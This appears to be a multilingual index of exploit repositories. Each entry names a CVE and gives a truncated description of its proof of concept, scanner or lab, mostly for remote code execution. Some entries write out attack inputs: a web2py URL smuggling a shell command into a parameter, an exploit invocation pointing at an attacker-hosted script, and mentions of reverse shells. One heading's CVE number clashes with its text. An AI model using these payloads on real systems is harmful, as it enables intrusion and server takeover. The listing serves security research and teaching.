CVE-2023-45158

CVE-2023-45158 الخطوات 1. قم بتشغيل خادم الويب cd web2py python3 web2py.py 2. قم بحقن أمرك باستخدام الرابط http://:8000/hack?msg=%27%3B%3B%27. استبدل و بالقيم الخاصة بك. أمثلة 1. إنشاء ملف على الخادم http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. غلاف عكسي Reverse Shell على جهاز المهاجم، قم...

CVE-2025-55182

Rapport d'analyse de React2Shell CVE-2025-55182 Les sections requises par les directives de l'affectation sont marquées avec « Requis ». 1. Environnement Requis 1.1. Dockerfile Requis Cet environnement utilise un Dockerfile personnalisé basé sur l'image officielle Node.js Alpine. FROM...

ICT287_CVE-2022-30190_Exploit

ICT287CVE-2022-30190Exploit مشروع حول استغلال CVE-2022-30190 واستراتيجيات التخفيف 📌 حول يحتوي هذا المستودع على مشروعي النهائي لمقرر ICT287، حيث أستكشف ثغرة CVE-2022-30190 "Follina". يغطي المشروع: تحليل مفصل للاستغلال عملية التنفيذ خطوة بخطوة استراتيجيات التخفيف 🔥 عرض الاستغلال التجريبي جهاز...

CVE-2017-11610

سكربت ثغرة تنفيذ الأوامر عن بُعد في Supervisord CVE-2017-11610 مقدمة عن الثغرة Supervisor هي أداة لإدارة العمليات مكتوبة بلغة Python، ويمكن استخدامها بسهولة في الأنظمة الشبيهة بـ UNIX لا تدعم Windows لبدء العمليات وليس فقط عمليات Python وإعادة تشغيلها إعادة التشغيل التلقائي للبرامج وإيقافها...

React2Shell-CVE-Lab

⚛️ React2Shell: مختبر ثغرة CVE-2025-55182 ⚠️ تحذير: تطبيق به ثغرات متعمدة يحتوي هذا المستودع على تطبيق معبأ في Docker تم تكوينه خصيصًا ليكون عرضة لـ CVE-2025-55182 React2Shell. لا تقم بنشر هذه الحاوية في بيئة إنتاج أو على خادم عام معرض للإنترنت. لا تقم بتشغيل هذا على جهاز يحتوي على بيانات حساسة دون...

CVE-2026-27384

CVE-2026-27384 CVE-2026-27384 — ماسح RCE عبر mfunc/eval في W3 Total Cache الإضافة: W3 Total Cache Slug الإضافة: w3-total-cache معرف CVE: CVE-2026-27384 درجة CVSS: 9.8 حرجة متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: تنفيذ تعليمات برمجية عشوائية غير موثّق حقن كود عبر eval...

CVE-2021-32804

CVE-2021-32804 هذا هو المستودع المستخدم لبناء بيئة Docker المستخدمة في مدونة yamory «CVE-2021-32804 ثغرة تجاوز المسار في node-tar التي تؤثر أيضًا على npm». بناء البيئة docker build -t cve-2021-32804 . docker run -it cve-2021-32804 /bin/bash إعادة إنتاج الثغرة node-tar root@5e1af2148215:/poc node...

CVE-2017-15944-POC

CVE-2017-15944-POC إثبات المفهوم لـ CVE-2017-15944 تنفيذ الكود عن بعد بصلاحية الجذر في جدران الحماية من Palo Alto Networks الاستخدام python panos-poc.py https://panip...

CVE-2024-36401-PoC

CVE-2024-36401-PoC يحتوي هذا المستودع على سكربت إثبات المفهوم PoC للثغرة الأمنية CVE-2024-36401، وهي ثغرة يمكن استغلالها لتحقيق تنفيذ التعليمات البرمجية عن بُعد على الخادم الهدف. الميزات تعيين مستمع قشرة عكسية باستخدام Perl. ترميز الأوامر باستخدام Base64. إرسال طلبات إلى الخادم الهدف لاستغلال...

CVE-2023-41425

CVE-2023-41425 ثغرة XSS منعكسة في Wonder CMS تسمح بتنفيذ تعليمات برمجية عشوائية من خلال نص ضار عبر مكون installModule. الاستخدام تشغيل الأداة ضد loginURL الهدف، مع تحديد عنوان IP والمنفذ لخادم الويب الذي يستضيف ملف .js الضار: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25...

CVE-2026-6960

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Téléchargement Arbitraire de Fichier non Authentifié Recherche par : Atomic Edge Sévérité : Critique | CVSS : 9.8 | Authentification requise : Aucune ⚠️ v2 — Corrections techniques appliquées basées sur les retours de la communauté. Voir le Journal des...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║ ╚══════════════════════════════════════════════════════════════╝ 📋 ملخص الحقل| التفاصيل ---|--- CVE ID| CVE-2026-6279 المتأثر| Avada Builder Fusion...

CVE-2022-0847

CVE-2022-0847 ثغرة في نواة لينكس منذ الإصدار 5.8 تتيح الكتابة فوق البيانات في ملفات للقراءة فقط بشكل عشوائي. يؤدي هذا إلى تصعيد الامتيازات لأن العمليات غير المميزة يمكنها حقن أكواد في عمليات الجذر. للترجمة: gcc poc.c -o poc Usage: ./poc TARGETFILE OFFSET DATA المؤلف والمزيد من المعلومات:...

CVE-2023-31902

CVE-2023-31902 — Exécution de code à distance dans Mobile Mouse 3.6.0.4 Résumé : Mobile Mouse est une application Windows qui transforme votre téléphone en souris/clavier via le réseau. Elle écoute sur le port 9099 TCP et 35913 WebSocket sans authentification par défaut. La vulnérabilité permet à...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 أداة استغلال رسومية لثغرة الكتابة العشوائية للملفات عبر طريقة PUT في Tomcat CVE-2017-12615 مقدمة عن الثغرة في 19 سبتمبر 2017، أكد فريق Apache Tomcat رسميًا وأصلح ثغرتين عاليتي الخطورة، بأرقام CVE: CVE-2017-12615 وCVE-2017-12616، ومن بينهما ثغرة تنفيذ التعليمات البرمجية عن بُعد...

CVE-2026-46275

CVE-2026-46725 — ثغرة RCE في امتداد TYPO3 ceselector حقن كائنات PHP عبر تجاوز ملف تعريف الارتباطunserialize → تنفيذ الأكواد عن بُعد 📋 جدول المحتويات حول الثغرة التفاصيل التقنية المتطلبات التثبيت الاستخدام أمثلة تنسيق الإخراج كيف يعمل المراجع إخلاء المسؤولية القانوني 🔍 حول الثغرة المجال| التفاصيل...

CVE-2017-9791

CVE-2017-9791 وحدة Metasploit لثغرة Apache Struts CVE-2017-9791 لتنفيذ الأكواد عن بُعد...

CVE-2026-48907-

CVE-2026-48907 — Scanner et exploiteur de RCE non authentifié pour Joomla JCE Editor CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% Un scanner de vulnérabilité et outil d'exploitation basé sur Python pour CVE-2026-48907 , une vulnérabilité critique d'exécution de code à distance non authentifiée dans...

CVE-2017-3241-POC

CVE-2017-3241-POC POC لثغرة إلغاء تسلسل Java RMI على الأرجح ستحتاج إلى استخدام JDK 8 لتشغيل هذا الـ POC. فقط انتبه إلى فئة Message في كل من جانب العميل وجانب الخادم. إنهما مختلفتان. وهذا الاختلاف هو المفتاح لفهم هذه الثغرة. الإصلاح الذي نشرته Oracle هو جعل المطور يكوّن قائمة بيضاء/سوداء لإلغاء...

libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...